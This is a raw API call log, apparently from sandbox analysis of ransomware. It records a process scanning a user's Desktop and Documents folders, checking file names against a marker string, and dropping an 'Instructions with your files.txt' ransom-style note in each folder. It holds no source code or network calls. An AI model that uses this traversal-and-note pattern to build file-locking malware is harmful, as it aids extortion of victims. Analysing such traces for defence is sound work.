[0131.576] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.576] CloseHandle (hObject=0x114) returned 1
[0131.576] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.576] GetProcessHeap () returned 0x810000
[0131.576] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.576] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121c4f0, ftCreationTime.dwHighDateTime=0x1d5bd65, ftLastAccessTime.dwLowDateTime=0x57e65df0, ftLastAccessTime.dwHighDateTime=0x1d5b5b9, ftLastWriteTime.dwLowDateTime=0x57e65df0, ftLastWriteTime.dwHighDateTime=0x1d5b5b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LhoM8PoRuJNh qlQW", cAlternateFileName="LHOM8P~1")) returned 1
[0131.576] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW") returned 67
[0131.576] GetProcessHeap () returned 0x810000
[0131.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.576] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\*") returned 69
[0131.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121c4f0, ftCreationTime.dwHighDateTime=0x1d5bd65, ftLastAccessTime.dwLowDateTime=0x57e65df0, ftLastAccessTime.dwHighDateTime=0x1d5b5b9, ftLastWriteTime.dwLowDateTime=0x57e65df0, ftLastWriteTime.dwHighDateTime=0x1d5b5b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.578] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\.") returned 69
[0131.578] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121c4f0, ftCreationTime.dwHighDateTime=0x1d5bd65, ftLastAccessTime.dwLowDateTime=0x57e65df0, ftLastAccessTime.dwHighDateTime=0x1d5b5b9, ftLastWriteTime.dwLowDateTime=0x57e65df0, ftLastWriteTime.dwHighDateTime=0x1d5b5b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.578] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\..") returned 70
[0131.578] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f15930, ftCreationTime.dwHighDateTime=0x1d5c069, ftLastAccessTime.dwLowDateTime=0x5c083f40, ftLastAccessTime.dwHighDateTime=0x1d5c20f, ftLastWriteTime.dwLowDateTime=0x5c083f40, ftLastWriteTime.dwHighDateTime=0x1d5c20f, nFileSizeHigh=0x0, nFileSizeLow=0x1e31, dwReserved0=0x0, dwReserved1=0x0, cFileName="hthx4EOsjHQx5hG9.mp3", cAlternateFileName="HTHX4E~1.MP3")) returned 1
[0131.578] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\hthx4EOsjHQx5hG9.mp3") returned 88
[0131.578] StrStrIW (lpFirst="hthx4EOsjHQx5hG9.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.578] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39346ac0, ftCreationTime.dwHighDateTime=0x1d5b9ea, ftLastAccessTime.dwLowDateTime=0x91a503d0, ftLastAccessTime.dwHighDateTime=0x1d5c1c0, ftLastWriteTime.dwLowDateTime=0x91a503d0, ftLastWriteTime.dwHighDateTime=0x1d5c1c0, nFileSizeHigh=0x0, nFileSizeLow=0x12187, dwReserved0=0x0, dwReserved1=0x0, cFileName="iRNvqSC.mp3", cAlternateFileName="")) returned 1
[0131.578] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\iRNvqSC.mp3") returned 79
[0131.578] StrStrIW (lpFirst="iRNvqSC.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.578] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e00030, ftCreationTime.dwHighDateTime=0x1d5bab8, ftLastAccessTime.dwLowDateTime=0x381ab8b0, ftLastAccessTime.dwHighDateTime=0x1d5b64d, ftLastWriteTime.dwLowDateTime=0x381ab8b0, ftLastWriteTime.dwHighDateTime=0x1d5b64d, nFileSizeHigh=0x0, nFileSizeLow=0x7875, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcPsK54zZ-r9tlWKJMA.gif", cAlternateFileName="KCPSK5~1.GIF")) returned 1
[0131.578] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\kcPsK54zZ-r9tlWKJMA.gif") returned 91
[0131.578] StrStrIW (lpFirst="kcPsK54zZ-r9tlWKJMA.gif", lpSrch="SDfghjkl") returned 0x0
[0131.578] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18ac810, ftCreationTime.dwHighDateTime=0x1d5bd80, ftLastAccessTime.dwLowDateTime=0xcd44e870, ftLastAccessTime.dwHighDateTime=0x1d5bc92, ftLastWriteTime.dwLowDateTime=0xcd44e870, ftLastWriteTime.dwHighDateTime=0x1d5bc92, nFileSizeHigh=0x0, nFileSizeLow=0x4c79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sn1N.mp3", cAlternateFileName="")) returned 1
[0131.578] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\Sn1N.mp3") returned 76
[0131.578] StrStrIW (lpFirst="Sn1N.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.578] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8775f180, ftCreationTime.dwHighDateTime=0x1d5c1b6, ftLastAccessTime.dwLowDateTime=0xcf5362e0, ftLastAccessTime.dwHighDateTime=0x1d5bbde, ftLastWriteTime.dwLowDateTime=0xcf5362e0, ftLastWriteTime.dwHighDateTime=0x1d5bbde, nFileSizeHigh=0x0, nFileSizeLow=0xd290, dwReserved0=0x0, dwReserved1=0x0, cFileName="sPavQ3-1LxicUqqWZG.flv", cAlternateFileName="SPAVQ3~1.FLV")) returned 1
[0131.578] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\sPavQ3-1LxicUqqWZG.flv") returned 90
[0131.578] StrStrIW (lpFirst="sPavQ3-1LxicUqqWZG.flv", lpSrch="SDfghjkl") returned 0x0
[0131.578] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd0481a0, ftCreationTime.dwHighDateTime=0x1d5c49c, ftLastAccessTime.dwLowDateTime=0xb7d542a0, ftLastAccessTime.dwHighDateTime=0x1d5bd14, ftLastWriteTime.dwLowDateTime=0xb7d542a0, ftLastWriteTime.dwHighDateTime=0x1d5bd14, nFileSizeHigh=0x0, nFileSizeLow=0x35dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="xgGaP6XdBq7wOhY K4T.m4a", cAlternateFileName="XGGAP6~1.M4A")) returned 1
[0131.579] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\xgGaP6XdBq7wOhY K4T.m4a") returned 91
[0131.579] StrStrIW (lpFirst="xgGaP6XdBq7wOhY K4T.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.579] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd0481a0, ftCreationTime.dwHighDateTime=0x1d5c49c, ftLastAccessTime.dwLowDateTime=0xb7d542a0, ftLastAccessTime.dwHighDateTime=0x1d5bd14, ftLastWriteTime.dwLowDateTime=0xb7d542a0, ftLastWriteTime.dwHighDateTime=0x1d5bd14, nFileSizeHigh=0x0, nFileSizeLow=0x35dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="xgGaP6XdBq7wOhY K4T.m4a", cAlternateFileName="XGGAP6~1.M4A")) returned 0
[0131.579] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\Instructions with your files.txt") returned 100
[0131.579] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\phawchb\\lhom8porujnh qlqw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.579] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.580] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.581] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.581] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.581] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.581] CloseHandle (hObject=0x114) returned 1
[0131.585] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.585] GetProcessHeap () returned 0x810000
[0131.585] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.585] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027fef0, ftCreationTime.dwHighDateTime=0x1d5c5f3, ftLastAccessTime.dwLowDateTime=0x2889b420, ftLastAccessTime.dwHighDateTime=0x1d5c1cc, ftLastWriteTime.dwLowDateTime=0x2889b420, ftLastWriteTime.dwHighDateTime=0x1d5c1cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e44, dwReserved0=0x0, dwReserved1=0x0, cFileName="q0XIdHWNCm.pps", cAlternateFileName="Q0XIDH~1.PPS")) returned 1
[0131.585] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\q0XIdHWNCm.pps") returned 64
[0131.585] StrStrIW (lpFirst="q0XIdHWNCm.pps", lpSrch="SDfghjkl") returned 0x0
[0131.585] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9cfde0, ftCreationTime.dwHighDateTime=0x1d5bc93, ftLastAccessTime.dwLowDateTime=0x6a34dcf0, ftLastAccessTime.dwHighDateTime=0x1d5b700, ftLastWriteTime.dwLowDateTime=0x6a34dcf0, ftLastWriteTime.dwHighDateTime=0x1d5b700, nFileSizeHigh=0x0, nFileSizeLow=0xa1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uwhy0.docx", cAlternateFileName="UWHY0~1.DOC")) returned 1
[0131.585] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\uwhy0.docx") returned 60
[0131.585] StrStrIW (lpFirst="uwhy0.docx", lpSrch="SDfghjkl") returned 0x0
[0131.585] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9cfde0, ftCreationTime.dwHighDateTime=0x1d5bc93, ftLastAccessTime.dwLowDateTime=0x6a34dcf0, ftLastAccessTime.dwHighDateTime=0x1d5b700, ftLastWriteTime.dwLowDateTime=0x6a34dcf0, ftLastWriteTime.dwHighDateTime=0x1d5b700, nFileSizeHigh=0x0, nFileSizeLow=0xa1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uwhy0.docx", cAlternateFileName="UWHY0~1.DOC")) returned 0
[0131.585] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\Instructions with your files.txt") returned 82
[0131.585] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\phawchb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.586] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.586] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.587] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.587] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.587] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.587] CloseHandle (hObject=0x110) returned 1
[0131.587] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.587] GetProcessHeap () returned 0x810000
[0131.587] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.587] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x749a4730, ftCreationTime.dwHighDateTime=0x1d5c460, ftLastAccessTime.dwLowDateTime=0x54c57180, ftLastAccessTime.dwHighDateTime=0x1d5c3f4, ftLastWriteTime.dwLowDateTime=0x54c57180, ftLastWriteTime.dwHighDateTime=0x1d5c3f4, nFileSizeHigh=0x0, nFileSizeLow=0x52aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="t S64Uy PgrMS9.mkv", cAlternateFileName="TS64UY~1.MKV")) returned 1
[0131.587] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t S64Uy PgrMS9.mkv") returned 60
[0131.587] StrStrIW (lpFirst="t S64Uy PgrMS9.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.587] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0d9c2b0, ftCreationTime.dwHighDateTime=0x1d5b9be, ftLastAccessTime.dwLowDateTime=0xc8db3d0, ftLastAccessTime.dwHighDateTime=0x1d5c108, ftLastWriteTime.dwLowDateTime=0xc8db3d0, ftLastWriteTime.dwHighDateTime=0x1d5c108, nFileSizeHigh=0x0, nFileSizeLow=0x12fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLDhdH.mkv", cAlternateFileName="")) returned 1
[0131.587] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TLDhdH.mkv") returned 52
[0131.587] StrStrIW (lpFirst="TLDhdH.mkv", lpSrch="SDfghjkl") returned 0x0
[0131.587] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x575dcf00, ftCreationTime.dwHighDateTime=0x1d5ba85, ftLastAccessTime.dwLowDateTime=0x4c122a60, ftLastAccessTime.dwHighDateTime=0x1d5c124, ftLastWriteTime.dwLowDateTime=0x4c122a60, ftLastWriteTime.dwHighDateTime=0x1d5c124, nFileSizeHigh=0x0, nFileSizeLow=0xd9ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z4MpwUqX.gif", cAlternateFileName="")) returned 1
[0131.587] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z4MpwUqX.gif") returned 54
[0131.587] StrStrIW (lpFirst="Z4MpwUqX.gif", lpSrch="SDfghjkl") returned 0x0
[0131.587] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39750040, ftCreationTime.dwHighDateTime=0x1d5b647, ftLastAccessTime.dwLowDateTime=0x3e0bbde0, ftLastAccessTime.dwHighDateTime=0x1d5c4d6, ftLastWriteTime.dwLowDateTime=0x3e0bbde0, ftLastWriteTime.dwHighDateTime=0x1d5c4d6, nFileSizeHigh=0x0, nFileSizeLow=0x18d0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZDd6KpR1Iuehr-4lGiwL.png", cAlternateFileName="ZDD6KP~1.PNG")) returned 1
[0131.587] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZDd6KpR1Iuehr-4lGiwL.png") returned 66
[0131.587] StrStrIW (lpFirst="ZDd6KpR1Iuehr-4lGiwL.png", lpSrch="SDfghjkl") returned 0x0
[0131.587] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382f1600, ftCreationTime.dwHighDateTime=0x1d5bcda, ftLastAccessTime.dwLowDateTime=0x23ad6490, ftLastAccessTime.dwHighDateTime=0x1d5c23c, ftLastWriteTime.dwLowDateTime=0x23ad6490, ftLastWriteTime.dwHighDateTime=0x1d5c23c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZlNgJw2gOQpRD8-ZG 7.gif", cAlternateFileName="ZLNGJW~1.GIF")) returned 1
[0131.587] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZlNgJw2gOQpRD8-ZG 7.gif") returned 65
[0131.587] StrStrIW (lpFirst="ZlNgJw2gOQpRD8-ZG 7.gif", lpSrch="SDfghjkl") returned 0x0
[0131.587] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382f1600, ftCreationTime.dwHighDateTime=0x1d5bcda, ftLastAccessTime.dwLowDateTime=0x23ad6490, ftLastAccessTime.dwHighDateTime=0x1d5c23c, ftLastWriteTime.dwLowDateTime=0x23ad6490, ftLastWriteTime.dwHighDateTime=0x1d5c23c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZlNgJw2gOQpRD8-ZG 7.gif", cAlternateFileName="ZLNGJW~1.GIF")) returned 0
[0131.587] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Instructions with your files.txt") returned 74
[0131.588] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.588] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.589] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.589] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.589] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.589] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.589] CloseHandle (hObject=0x10c) returned 1
[0131.590] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.590] GetProcessHeap () returned 0x810000
[0131.590] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.590] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f8565f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f8565f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
[0131.590] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 43
[0131.590] GetProcessHeap () returned 0x810000
[0131.590] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.590] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*") returned 45
[0131.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f8565f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f8565f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.590] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\.") returned 45
[0131.590] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
